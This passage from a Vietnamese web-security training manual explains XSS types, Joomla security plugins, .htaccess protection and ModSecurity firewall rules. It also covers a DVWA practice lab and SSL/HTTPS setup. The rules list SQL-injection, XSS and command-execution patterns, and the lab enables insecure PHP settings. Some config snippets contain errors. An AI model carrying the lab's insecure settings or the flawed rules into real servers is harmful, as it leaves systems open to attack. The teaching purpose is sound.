web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân
đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã
độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL
Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan
thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này
yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian
này người dùng vẫn đang trong phiên làm việc.
- Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất
nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng
web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền
điều khiển web.
82
4.3 DOM-based XSS
- DOM: viết tắt của Document Object Model là 1 dạng chuẩn của W3Cđưa ra
nhằm để truy xuất và thao tác dữ liệu của tài liệu có cấu trúc như HTML, XML.
Mô hình này thể hiện tài liệu dưới dạng cấu trúc cây phân cấp. Tất cả các thành
phần trong HTML, XML đều được xem như một node.
- DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM
của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau.
- Một website có URL đến trang đăng ký như sau:
- Có thể dễ dàng suy luận tham số message truyền vào nội dung thông báo trên
form, xem kỹ source code của đoạn thông báo này
- Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message và in ra. Từ việc kiểm
tra đầu vào lỏng lẻo này, hoàn toàn có thể lừa người dùng truy cập các URL nguy
hiểm.
- Thay vì truyền
83
- Khi đấy Form đăng ký sẽ trở thành thế này:
-
- Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và
khi lựa chọn giới tính, Script sẽ được thực thi
- giá trị truyền vào tham số message được giải thích như sau:
84
5 Joomla Security Plugin
- Joomla là một trong những CMS phổ biến trên thế giới, do đó nó cũng là đề tài
mà được các hacker quan tâm thông qua các cuộc tấn công. Do đó việc đảm
bảo an ninh cho website cũng là vấn đề đáng quan tâm, hiện tại CMS đã hỗ trợ
các plugin với nhiều tính năng để đảm bảo hạn chế các cuộc tấn công từ các
attacker.
- Các plugin chính: Centrora Security, Securitycheck, RSFirewall
5.1 Centrora Security
- Centrora Bảo mật là một plugin tiên tiến cho nền tảng WordPress được xây dựng
trên đầu trang của một cài đặt WP thường xuyên, thêm tính năng và cơ chế để
bảo vệ các trang web chống lại các loại hình tấn công.
- Các plugin cũng sửa chữa một vấn đề tiện ích mà các plugin WordPress an ninh
nhất có, cho phép ngay cả người dùng không có kỹ thuật để hiểu và sử dụng các
tính năng của nó, tất cả nhờ vào một cách dễ dàng để quản lý trang bảng điều
khiển trong WordPress phụ trợ.
85
5.2 Securitycheck
- Là một giao diện module để quản lý toàn bộ các extension nhanh chóng và dễ
dàng
- Web Firewall: đã được kiểm tra rằng chống lại hơn 90 loại tấn công SQL Injectio,
LFI và XSS và bao gồm các chức năng:
o Hỗ trợ Ipv6
o Blacklist
o Whitelist
o Lưu lại các sự kiện, admin có thể xem từ backend
o Chuyển hướng đến trang mặc định nếu có cuộc tấn công được phát hiện
o Bảo vệ cấp độ thứ 2 để tìm các từ nghi ngờ
o Bảo vệ session
- File manager: người dùng có thể kiểm tra file/folder permission và dễ dàng nhìn
thấy các cấu hình bị thiếu sót.
- .Htaccess protection: Thêm 1 key bí mật cho trang admin của người dùng để
ngăn chặn tấn công dictionary và brute force
- Kiểm tra lỗ hổng: Securitycheck thực hiện 1 cuộc kiểm tra version của các
component mà Joomla của người dùng đã cài đặt, so sánh chúng với database
của chúng để xem nếu nó là extension dính lỗ hổng
- Security kiểm tra từng cá thể mỗi component để tránh lỗ hổng
- Remote Management: quản lý extension từ xa từ bảng điều khiển trung tâm.
5.3 RSFirewall
- RSFirewall! là dịch vụ bảo mật Joomla tiên tiến nhất! mà người dùng có thể sử
dụng để bảo vệ trang web Joomla của người dùng từ việc phát hiện xâm nhập và
tấn công của hacker. RSFirewall! được hỗ trợ bởi một nhóm các chuyên gia
được đào tạo để luôn được cập nhật với các lỗ hổng và cập nhật bảo mật mới
nhất được biết trước.
o Bảo vệ trang web của người dùng từ Lỗ hổng Joomla! RCE
o Scan các file của người dùng để tìm phần mềm độc hại
o Bảo vệ thư mục /administrator của người dùng bằng mật khẩu bổ sung
o Kiểm tra các core file Joomla! Đảm bảo toàn vẹn
o Bảo vệ administrator accounts
o Các bước để tăng tính bảo mật cho trang web của người dùng
o Tìm và sửa các file và folder không an toàn
o Chặn quyền truy cập vào các quốc gia cụ thể
o Tự động chặn IP tấn công trang web của người dùng
6 Htaccess
6.1 .htaccess: là một tập tin cấu hình ở cấp thư mục được hỗ trợ bởi một vài máy
chủ web, cho phép phân quyền cấu hình máy chủ (web server). Nó được đặt bên
trong cây thư mục của trang web và có khả năng ghi đè lên cấu hình lên thư mục
hiện hành và toàn bộ các thư mục con nằm bên trong nó.
- .htaccess cung cấp một loạt các chỉ thị, tác động trực tiếp lên cấu hình của lõi
server (Apache) mà không cần phải truy câp vào bên trong hệ thống chỉnh sửa
các tập tin config của server ( httpd.conf ), có ảnh hưởng vô cùng quan trọng đến
toàn bộ hệ thống website đang chạy
86
- Cấu hình chính
o Enable .htaccess:
Để có thể sử dụng được tập tin .htaccess và cấu hình phân
quyền, rewrite url,… theo ý muốn thì trước tiên ta phải bật chức
năng ghi đè của tập tin .htaccess trong tập tin cấu hình chính là
httpd.conf.
Tìm trong tập tin httpd.conf dòng như dưới và xóa ký tự comment
code “#” để bật .htaccess
6.2 Authentication
- Lưu lại file .htaccess và đặt nó vào thư mục mà chúng ta muốn bảo vệ, bắt người
dùng phải nhập username và password giống như trong file .htpasswd chúng ta
đã định sẵn mới có thể đăng nhập được vào hệ thống website của chúng ta
87
- Ví dụ 2: Chuyển toàn bộ đường dân có đuôi .php sang đuôi .abc
- Để cho phép 1 IP cụ thể access. Thay thế 123\.123\.123\.123 bằng IP của chúng
ta
- Để cho phép nhiều IP access vào, thay thế 123\. 123\. 123\. XXX bằng IP của
chúng ta
- Nếu IP của chúng ta thay đổi, ta có thể bảo vệ site bằng việc chỉ cho phép yêu
cầu login tới từ tên domain. Chỉ việc thay example\.com bằng domain của chúng
ta.
- Hầu hết bruforce dựa vào việc gửi POST request trực tiếp tới wp-login.php của
chúng ta. Do đó nếu POST request tới từ attackers thì nó sẽ bị loại bỏ.
88
- Nếu attackers trong quá trình bị block mà cố gắng gửi POST request (trong vòng
15 phút) thì quá trình block sẽ kéo dài lâu hơn.
- ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu
hình, tùy chỉnh các phương thức phát hiện tấn công vào web server. Nó cũng là
một tường lửa mức ứng dụng. Đứng trước Webserver và có khả năng xử lý
traffic trước khi đưa vào Webserver. Mọi yêu cầu gửi đến Webserver từ phía
client sẻ được gửi qua modsecurity
- Phiên bản ModSecurity hiện tại đã hỗ trợ Apache, Nginx và IIS
- Một số tính chất mà mod_security có thể dùng làm Web Application Firewall:
o Tính linh động (Flexibility): Việc phân tích luồng HTTP theo một tiêu chí
nhất định trong thực tế thường gặp vấn đề là làm sao để có thể so trùng
mẫu mà ta muốn. Ngoài ra, do nhu cầu của từng hệ thống web là khác
nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau.
Mod_security đã kết hợp với OWASP phát triển các tập rule mẫu (Core
Rule Set) nhằm tạo ra tính linh động cho từng mô hình web khác nhau,
hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống đang
quản trị
o Tính thụ động (Passivity): ModSecurity sẽ không thực thi các tác vụ nếu
như người quản trị viên không chỉ định công việc cụ thể cho chương
trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân
tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông
qua cơ chế phân tích và quyết định tương tác với hệ thống sẽ do người
quản trị thực hiện.
- Chức năng ModSecurity (trên webserver Apache)
o Parsing: ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống
thành cấu trúc dữ liệu mà ModSecurity định nghĩa sẵn. Cấu trúc này sẽ
được chuyển qua cơ chế so trùng mẫu trong tập rule để phân tích nguy
cơ.
o Buffering: Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ
chế hoạt động của ModSec. Việc này có ý nghĩa khi các request gởi đến
ứng dụng web thì phải thông qua ModSecurity trước khi đến ứng dụng xử
lý và những response cũng sẽ được phân tích trước khi trả về phía client.
Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời
gian thực, các dữ liệu mà ModSecurity nhận được và phân tích sẽ được
lưu trữ trong RAM (bao gồm request body và response data)
o Logging: ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request
headers, request body, response header, response body nhằm hỗ trợ
người quản trị phân tích nguy cơ mà hệ thống đang gặp phải để có thể ra
quyết định kiểm soát.
89
o Rule Engine: Các tập mẫu trong ModSecurity đóng vai trò quan trọng
trong việc phát hiện các dạng tấn công và thực hiện phòng chống
- Modsecurity có khả năng
o Theo dõi HTTP traffic để phát hiện những dấu hiệu bất thường.
o Lọc các dữ liệu ra vào webserver.
o Ghi lại các tương tác giữa client và webserver.
- Modsecurity hoạt động dựa trên các rules. MS có hoạt động hiệu quả hay không
phụ thuộc rất lớn vào khả năng thiết lập rule của người quản trị.
- Các khái niệm cần biết: HTTP REQUEST, HTTP RESPONSE, REQUEST
HEADER, REQUEST BODY…
Cài đặt:
- Cập nhật hệ thống
o [root@server ~]# yum -y update
- Cài đặt các thư viện cần thiết
o [root@server ~]# yum install gcc make httpd-devel libxml2 pcre-devel
libxml2-devel curl-devel git
- Cài đặt mod_security
o Yum –y install mod_security
- Sửa lại file httpd.conf để thực hiện load module ModSecurity (thêm vào dòng
đầu):
LoadModule security2_module modules/mod_security2.so
- Restart apache
o service httpd restart
Cấu hình:
- ModSecurity là application firewall thuộc loại rules-based, nghĩa là chúng ta cần
thiết lập các luật(rules) để ModSecurity hoạt động. Các rules này được thể hiện
dưới dạng các chỉ thị (directives) và có thể đặt trực tiếp trong file cấu hình
Apache(thông thường là httpd.conf).
- Ngoài ra có thể đặt các cấu hình này vào một file riêng, chẳng hạn
modsecurity.conf trong thư mục conf.d và sau đó chúng ta cần thêm vào
httpd.conf
o Include conf.d/modsecurity.conf
o (mặc định trong httpd.conf đã có dòng include conf.d/*.conf . Với dòng
này nó sẽ thực hiện tất cả các file có phần mở rộng là .conf)
a. Bất Rule on và off
- Theo mặc định thì rule engine bị disable. Để kích hoạt ModSecurity ta cần thêm
chỉ thị sau vào file cấu hình
SecRuleEngine On
- Directive này dùng để điều khiển rule engine, chúng ta có thể sử dụng các tùy
chọn là On, Off hoặc DynamicOnly.
o On : các rules của ModSecurity được áp dụng cho tất cả nội dung.
o Off : vô hiệu hóa ModSecurity.
- DynamicOnly : khi nó phù hợp với một luật nào đó thì nó cũng không thực hiện
bất kỳ hành động nào(rất có ích trong trường hợp muốn test một luật nào đó mà
không muốn nó block bất kì request nào có vấn đề với luật).
b. SecDefaultAction
90
- Dùng để tạo các action mặc định. Khi tạo một luật mà không chỉ rõ hành động
cho luật đó, nó sẽ thực hiện hành động mặc định.
o Ví dụ : SecDefaultAction “phase:2.deny,log,status:403”
Xây dựng chính sách chống lại một số tấn công phổ biến
- SQL Injection
o Các từ khóa chính thường sử dụng trong tấn công SQL Injection và các
regular expressions tương ứng :
UNION SELECT union\s+select
UNION ALL SELECT union\s+all\s+select
INTO OUTFILE into\s+outfile
DROP TABLE drop\s+table
ALTER TABLE alter\s+table
LOAD_FILE load_file
SELECT * select\s+*
o \s : được định nghĩa trong PCRE là một regular expression cho phép phát
hiện mọi khoảng trắng và cả các mã thay thế (%20)
o Để chống lại tấn công SQL Injection, ta dựa vào các đặc điểm trên từ đó
đưa ra rule sau:
SecRule ARGS "union\s+select" "t:lowercase,deny,msg:'SQL
Injection'"
SecRule ARGS "union\s+all\s+select" "t:lowercase,deny,msg:'SQL
Injection'"
SecRule ARGS "into\s+outfile" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "drop\s+table" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "alter\s+table" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "load_file" "t:lowercase,deny,msg:'SQL Injection'"
SecRule ARGS "select\s+*" "t:lowercase,deny,msg:'SQL Injection'"
- XSS Attack
SecRule ARGS "alert\s+*\(" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "&\{.+\}" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "<.+>" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "javascript:" "t:lowercase,deny,msg:'XSS'"
SecRule ARGS "vbscript:" "t:lowercase,deny,msg:'XSS'"
- Brute Force
91
#
# Block further login attempts after 3 failed attempts
#
<LocationMatch ^/login>
# Initalize IP collection with user's IP address
SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"
# Detect failed login attempts
SecRule RESPONSE_BODY "Username does not exist"
"phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=60"
# Block subsequent login attempts
SecRule IP:FAILED_LOGINS "@gt 3" deny
</Location>
#
# Throttle login attempts after 3 failed attempts
#
<LocationMatch ^/login>
SecAction "initcol:ip=%{REMOTE_ADDR},pass,nolog"
SecRule RESPONSE_BODY "Username does not exist"
phase:4,pass,setvar:ip.failed_logins=+1,expirevar:ip.failed_logins=10"
SecRule IP:FAILED_LOGINS "@gt 3" "phase:4,allow,pause:3000"
</Location>
- Directory Indexing
#
# Prevent directory listings from accidentally being returned
#
SecRule REQUEST_URI "/$" "phase:4,deny,chain,log,msg:'Directory index
returned'"
SecRule RESPONSE_BODY "<h1>Index of /"
92
- Một số tấn công khác
o Xflash ddos
SecRule REQUEST_HEADERS_NAMES "x-flash-version" deny
o Command Excution and file disclosure
SecRule ARGS_VALUES "^(uname|id|ls|cat|rm|kill|mail)"
SecRule ARGS “(/home|/var|/boot|/etc|/bin|/usr|/tmp)”
o HTML Tags
SecRule ARGS "<applet"
SecRule ARGS "<div"
SecRule ARGS "<embed"
SecRule ARGS "<iframe"
SecRule ARGS "<img"
SecRule ARGS "<meta"
SecRule ARGS "<object"
SecRule ARGS "<script"
SecRule ARGS "<textarea"
o Bad User-Agent
SecRuleHTTP_USER_AGENT
"<(.|\s|\n)?(script|about|applet|activex|chrome|object)(.|\s|\n)?>.*<(.|\s|\n)?
(script|about|applet|activex|chrome|object)"
#PHP code injection attack
SecRule HTTP_USER_AGENT "(<\?php|<[[:space:]]*\?[[:space:]]*php)"
SecRule HTTP_USER_AGENT ".*HTTP_GET_VARS"
SecRule HTTP_USER_AGENT "Mosiac 1\.*"
SecRule HTTP_USER_AGENT "Brutus/AET"
SecRule HTTP_USER_AGENT ".*WebRoot "
#Web leaches
SecRule HTTP_USER_AGENT "Web Downloader"
SecRule HTTP_USER_AGENT WebZIP
SecRule HTTP_USER_AGENT WebCopier
SecRule HTTP_USER_AGENT Webster
SecRule HTTP_USER_AGENT WebZIP
SecRule HTTP_USER_AGENT WebStripper
SecRule HTTP_USER_AGENT "teleport pro"
SecRule HTTP_USER_AGENT combine
SecRule HTTP_USER_AGENT "Black Hole"
SecRule HTTP_USER_AGENT "SiteSnagger"
SecRule HTTP_USER_AGENT "ProWebWalker"
SecRule HTTP_USER_AGENT "CheeseBot"
SecRule HTTP_USER_AGENT ".*Nessus"
93
SecRule HTTP_USER_AGENT ".*Nikto"
Sử dụng DVWA để DEMO các cuộc tấn công và cách phòng chống bằng ModSecurity
1. DVWA: là một framework đã xây dựng sẵn những lỗ hổng bảo mật theo top 10 điểm
yếu bảo mật Web của OWASP. Trình độ từ mức low đến high có thể đáp ứng nhu
cầu kiểm thử của rất nhiều người
2. Cài đặt DVWA
- Download link: https://github.com/ethicalhack3r/DVWA/archive/master.zip
- Có thể triển khai trên CentOS hoặc dùng XAMPP trên Windows.
- Tải về, giải nén và copy vào đường dẫn /var/www/html
- Quá trình chỉnh sửa:
o Vào MySQL tạo database tên dvwa
o Cd /var/www/html/
o chown -R apache:apache DVWA/
o chmod 755 -R DVWA/
o cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php
o vi DVWA/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'root’s password';
$_DVWA[ 'recaptcha_public_key' ] =
'6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] =
'6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
o Save file.
o Vi /etc/php.ini
allow_url_include = Off => allow_url_include = On
o service httpd restart
- Setup DVWA: 1.2.3.3/DVWA/setup.php
94
- Click chọn Create/ Reset database
- Sau khi cài đặt xong DVWA sẽ có giao diện sau đây:
95
- Bật mod security với 1 RULE đơn giản để chống lại XSS
<IfModule security2_module>
# Bat che do loc cua Modsecurity
SecRuleEngine On
# Thiet lap action mac dinh
SecDefaultAction "phase:2,deny,log,status:403"
SecRule REQUEST_URI
"Jscript|alert|onsubmit|onmouseover|onmove|onerror|document|javascript|scri
pt" "deny,phase:1,setvar:tx.xssscore=+1,id:10000"
</IfModule>
- Kết quả:
96
Phần 4: Tăng cường bảo mật website với https và hsts
1. HTTPv1 và HTTPv2
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign
3. Cài đặt SSL trên webserver, kích hoạt https
4. Scan HTTP version
5. Buộc website chạy HTTPs
6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver
97
1. Giao thức HTTP
HTTP là một giao thức giao tiếp trên cơ sở TCP/IP, mà được sử dụng để phân phối
dữ liệu (các tệp HTML, các file ảnh, …) trên WWW. Cổng mặc định là TCP 80, những các
cổng khác cũng có thể được sử dụng. Nó cung cấp một cách được tiêu chuẩn hóa cho các
máy tính để giao tiếp với nhau. Chi tiết kỹ thuật HTTP xác định cách mà dữ liệu yêu cầu của
Client sẽ được xây dựng và được gửi tới Server, và cách để Server phản hồi các yêu cầu
này
- Trong dạng xử lý này, mỗi connection sẽ request một tài nguyên độc lập. Kết nối
sẽ được mở mới khi cần request một tài nguyên và close khi nhận response
hoàn tất. Đây là dạng làm việc đơn giản và cũng là thông dụng nhất, tuy nhiên rất
không tối ưu vì thời gian thiết lập kết nối mới tốn rất nhiều thời gian do phải thực
hiện bắt tay 3 bước, chưa kể nếu có các lớp xử lý bảo mật như TLS sẽ càng làm
tăng độ trễ của việc thiết lập kết nối này.
98
b. Keep-alive connection
- Với keep-alive connection, có thể thực hiện nhiều lượt request tài nguyên
khác nhau với cùng một connection.
- Tuy nhiên, chúng ta dễ dàng nhận thấy một khoảng thời gian chờ sau khi
thực hiện một request, trong lúc đợi response về hoàn tất, sẽ không có
một request nào khác được phép thực hiện. Điều này gây lãng phí tài
nguyên, do băng thông vẫn còn đó trong khi request tài nguyên khác sẽ
không thể request ở cùng connection, và nếu tạo connection mới thì lại trở
lại vấn đề với mỗi request một connection.
c. HTTP/1 pipelining
- Giải pháp cho phép nhiều lượt request được gọi mà không cần response phải
hoàn thành, sau đó sẽ nhận các response. Một giải pháp khá mượt, nhưng nhìn
sâu hơn vấn đề một chút, đầu tiên ta quan sát lại HTTP request và response.
HTTP/1.1 200 OK
Date: Mon, 23 May 2005 22:38:34 GMT
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)
99
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
ETag: "3f80f-1b6-3e1cb03b"
Content-Type: text/html; charset=UTF-8Content-Length: 138
Accept-Ranges: bytes
Connection: close
<html>
<head>
<title>An Example Page</title>
</head>
<body>
Hello World, this is a very simple HTML document.
</body>
</html>
HTTP/2 xây dựng trên tư tưởng mỗi TCP connection sẽ có nhiều stream, mỗi packet
truyền tải trong stream sẽ là một frame, các frame này sẽ có đầy đủ các thông tin
định danh stream.
100
Hình: HTTP/2 nhiều stream dùng chung một connection
Khi sử dụng, mỗi request tài nguyên sẽ sử dụng một stream độc lập, mỗi frame đều
có thông tin định danh cho stream riêng, nên việc thứ tự truyền/nhận của
request/response không còn là vấn đề, dữ liệu của frame nào sẽ được đưa vào
stream của nó, tương ứng với đó là request/response tương ứng. Như vậy vấn đề
head-of-line blocking được giải quyết.
b. Vấn đề
i. Head-of-line blocking gây ra bởi TCP
o HTTP/2 là một kiến trúc đẹp, nhưng tư tưởng xây dựng nó nhiều
stream dùng chung một TCP connection, tức là sử dụng chung một
đường truyền tải. Khi gói tin từ stream được đóng gói để đưa
xuống tầng TCP, gói tin sẽ lại được đóng gói (trong nhiều trường
hợp có thể bị chia nhỏ hơn để đóng gói) bởi giao thức TCP, bằng
cách đánh thêm chỉ số tuần tự và các thông tin khác ... để đưa
xuống tầng IP và truyền đi. Tầng IP sẽ không đảm bảo gói tin sẽ
không mất mát và đúng thứ tự, vì vậy tầng TCP sẽ làm việc đó, nếu
có gói tin nào bị mất mát do truyền tải ở tầng IP thì tầng TCP sẽ gửi
lại gói tin tương ứng.
o Trong trường hợp những gói tin này thuộc các stream khác nhau,
thì khi mất mát gói tin của một stream thì các stream còn lại sẽ bị
ảnh hưởng. Vấn đề head-of-line blocking lại xuất hiện, nhưng lần
này là do cơ chế của TCP gây nên.
101
Hình: Head-of-line blocking do cơ chế bảo vệ flow của TCP
- Để khắc phục vấn đề head-of-line blocking gây ra bởi TCP, cách duy nhất
là thiết kế HTTP/2 trên nền một giao thức khác. QUIC lựa chọn xây dựng
lại trên nền UDP, một giao thức thông dụng và có thể dễ dàng tương tác ở
userland.
- Tư tưởng thiết kế giao thức QUIC là sự kết hợp giữa TCP và tinh thần của
HTTP/2
o Đảm bảo không mất mát, đúng thứ tự gói tin: Tương tự TCP
o Cải thiện thuật toán chống nghẽn: Sử dụng thuật toán CUBIC
o Tự sửa lỗi gói tin
o Hỗ trợ lớp bảo mật TLS
102
- Mặc dù trong UDP, khái niệm connection không tồn tại, nhưng dựa trên
tinh thần của TCP, QUIC xây dựng lại connection cho mình, tuy nhiên
nhiên tầng truyền tải dữ liệu sẽ độc lập giữa các stream. Điều này giúp
loại bỏ head-of-line blocking gây ra khi các stream truyền tải dùng chung
connection.
- Một điều thú vị là connection của QUIC sẽ tốt hơn TCP trong một số
trường hợp, ví dụ khi kết nối mạng của bạn đang sử dụng đột ngột bị ngắt
và connect lại, lúc này connection của TCP sẽ bị mất và buộc phải khởi
tạo kết nối mới, do xây dựng trên nền tảng UDP - một giao thức phi kết
nối (connectionless) nên về lý thuyết thì connection sẽ vẫn tiếp tục truyền
nhận dữ liệu bình thường dù sẽ chậm đi một chút.
- QUIC cũng sử dụng thuật toán chống nghẽn cho từng stream riêng biệt,
loại bỏ vấn đề thuật toán chống nghẽn gây ra cho HTTP/2.
103
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert,
Verisign
2.1 Khái niệm:
a. SSL là gì:
SSL là viết tắt của từ Secure Sockets Layer. Đây là một tiêu chuẩn an ninh công
nghệ toàn cầu tạo ra một liên kết giữa máy chủ web và trình duyệt. Liên kết này đảm bảo tất
cả dữ liệu trao đổi giữa máy chủ web và trình duyệt luôn được bảo mật và an toàn.SSL đảm
bảo rằng tất cả các dữ liệu được truyền giữa các máy chủ web và các trình duyệt được
mang tính riêng tư, tách rời. SSL là một chuẩn công nghệ được sử dụng bởi hàng triệu
trang web trong việc bảo vệ các giao dịch trực tuyến với khách hàng của họ.
b. SSL làm việc như thế nào:
c. Quá trình máy tính kết nối với một website đã được chứng thực
104
2.2 Đăng ký chứng chỉ SSL
a. CSR (certificate signing request) : Certificate Signing Request là 1 đoạn
text (chứa thông tin của chủ sở hữu tên miền) được mã hóa từ server (máy chủ)
chuẩn bị cài đặt SSL.
Nó chứa thông tin sẽ được bao gồm trong giấy chứng nhận của bạn như tên
tổ chức của bạn, tên thông thường (tên miền), địa phương và quốc gia. 1 CSR sẽ
được tạo ra ngay trước khi gửi yêu cầu cho bên cung cấp SSL để sinh ra SSL.
1 CSR yêu cầu các thông tin:
o Mã quốc gia
o Thành phố
o Tên công ty
o Tên miền cần được mã hóa SSL
o Email quản lý
o loại chứng chỉ SSL
b. Tạo CSR để đăng ký SSL:
1.Cài đặt openssl trên CentOS: yum install openssl
2.Tạo key cho domain (giả sử domain ở đây là cysecure.com)
[root@server certs]# openssl genrsa -out cysecure.com.key 2048
Generating RSA private key, 2048 bit long modulus
............................................................................+++
........................................+++
e is 65537 (0x10001)
3.Tạo CSR cho domain sử dụng Key vừa tạo
[root@server certs]# openssl req -new -key cysecure.com.key -out
cysecure.com.csr
You are about to be asked to enter information that will be
incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or
a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:VN => tên nước
State or Province Name (full name) []:HoChiMinh => tên tỉnh/thành
phố
Locality Name (eg, city) [Default City]:HoChiMinh => tên thành phố
Organization Name (eg, company) [Default Company Ltd]:tuonglua
=> tên công ty
Organizational Unit Name (eg, section) []:IT => tên đơn vị
105
Common Name (eg, your name or your server's hostname)
[]:cysecure.com => tên server hoặc domain
Email Address []:anhtrang93610@gmail.com => mail
b. Comondo EssentialSSL:
Comodo cung cấp Phần mềm bảo mật Internet, bảo mật email và tin nhắn,
Lưu trữ máy chủ DNS, giấy chứng nhận SSL, Quản lý PKI, trình duyệt và nhiều hơn
thế.
Truy cập vào trang https://ssl.comodo.com/free-ssl-certificate.php để đăng ký
SSL free 90 ngày, nhấn Free SSL
106
Xác thực Domain để cài đặt SSL, nếu domain đã được đăng ký từ thirdparty
thì sẽ có mail gửi về xác thực là domain đã được đăng ký, nếu chưa đăng ký domain
thì chúng ta có thể chọn None of above phía dưới cùng.
Tiến hành điền vào các thông tin cần thiết, những trường màu đỏ là những
trường bắt buộc phải có, không được để trống
107
Tích vào I ACCEPT và Continue to Payment
Thông tin Order hiển thị ra đầy đủ, những bước Action Required là bước bắt
buộc phải completed
Sau khi xác thực Domain Control Validation thì 1 mail kèm theo các file ssl sẽ
gửi về mail của domain mà chúng ta đã đăng ký, đến đây là xong bước đăng ký SSL
của Comodo.
c. GeoTrust SSL:
Vào link sau để đăng kí SSL: https://www.geotrust.com/ssl/free-ssl-certificate/
,chọn Get Your Free Certificate Now!
Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue
108
Chọn Continue để tiếp tục sau khi form thông tin hiện ra
Copy toàn bộ nội dung trong file cysecure.com.csr đã tạo ở phần trước vào ô
như hình, sau đó Continue
109
Xác thực thông tin, Continue
110
Kéo xuống và tích vào I agree … -> Submit Order
Đến bước này đã xong quá trình tạo SSL Certificate của Geotrust, có thể
kiểm tra mail của domain hoặc mail admin để xác thực cũng như nhận các file SSL
từ GeoTrust
111
Điền vào các thông tin tương ứng, các trường có dấu * là các trường bắt
buộc phải có
Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue
112
Đến đây quá trình đăng ký đã hoàn tất, kiểm tra mailbox để nhận các file SSL
Certificate, sau đó download về webserver.
e.VeriSign
Truy cập link :
https://trustcenter.websecurity.symantec.com/process/retail/trial_product_selector?uid=213d
f2928c3305de3e471c06bb7f37bf&locale=VRSN_AU&language=en để đăng ký SSL free
trial 30 ngày.
Điền vào thông tin cần thiết để đăng ký SSL, sau đó nhấn Continue
113
Form điền CSR
o Copy nội dung từ file cysecure.com.csr vào form như hình
o Server platform: chọn ApacheSSL nếu server sử dụng Apache là
webserver.
Nếu không có chỉnh sửa thông tin gì thì tích vào I Accept… và Continue
Đến đây quá trình đăng ký đã hoàn tất của Verisign SSL Free Trial, kiểm tra
mailbox để nhận các file SSL Certificate sau đó download đó về webserver.
114
3.Cài đặt SSL trên webserver và kích hoạt https
Cài đặt mod_ssl:
- yum –y install mod_ssl
Giả sử sau khi đăng ký SSL Certificate, chúng ta sẽ nhận được file SSL bao gồm:
server.csr, server.key, server.crt. Copy 3 file này vào đường dẫn: /etc/pki/tls/certs
Cấu hình file ssl.conf để kích hoạt ssl:
- vi /etc/httpd/conf.d/ssl.conf
# line 59: uncomment
DocumentRoot "/var/www/html"
# line 60: uncomment and specify the server name
ServerName cysecure.com:443
# line 75: change
SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2
# line 100: change to the one got in [1]
SSLCertificateFile /etc/pki/tls/certs/server.crt
# line 107: change to the one got in [1]
SSLCertificateKeyFile /etc/pki/tls/certs/server.key
# line 116: change to the one got in [1]
SSLCertificateChainFile /etc/pki/tls/certs/server.crt
Khởi động lại httpd
- Service httpd restart
Kiểm tra lại trình duyệt.
115
4. Scan HTTP version
a.Khái niệm
Như chúng ta đã biết, HTTP là giao thức được thiết kế theo kiểu client –
server, giao tiếp giữa client và server dựa vào một cặp request – response, client
đưa ra các request và server trả lời các request này.
HTTP Request
116
Ví dụ một HTTP Response
Chúng ta sẽ tập trung vào version của HTTP, trong ví dụ trên, HTTP hỗ trợ
version 1.1
b.Cách scan HTTP version
Có nhiều cách để scan HTTP version như: Wireshark, Nmap, hoặc các
website như: https://hackertarget.com/http-header-check/
Chủ yếu chúng ta sẽ kiểm tra http header để xác định được version của http
là bao nhiêu
Với Wireshark:
o Truy cập cysecure.com bằng chrome.
o Mở wireshark và dùng chức năng lọc http để tìm các gói tin http.
117
Google hiện tại sử dụng HTTP version 1.1, ngoài ra chúng ta có thể xem các
thông tin về Content-Type, Date, Expires, Cache-Control, …
118
RewriteEngine On
RewriteCond %{SERVER_PORT} ^80$
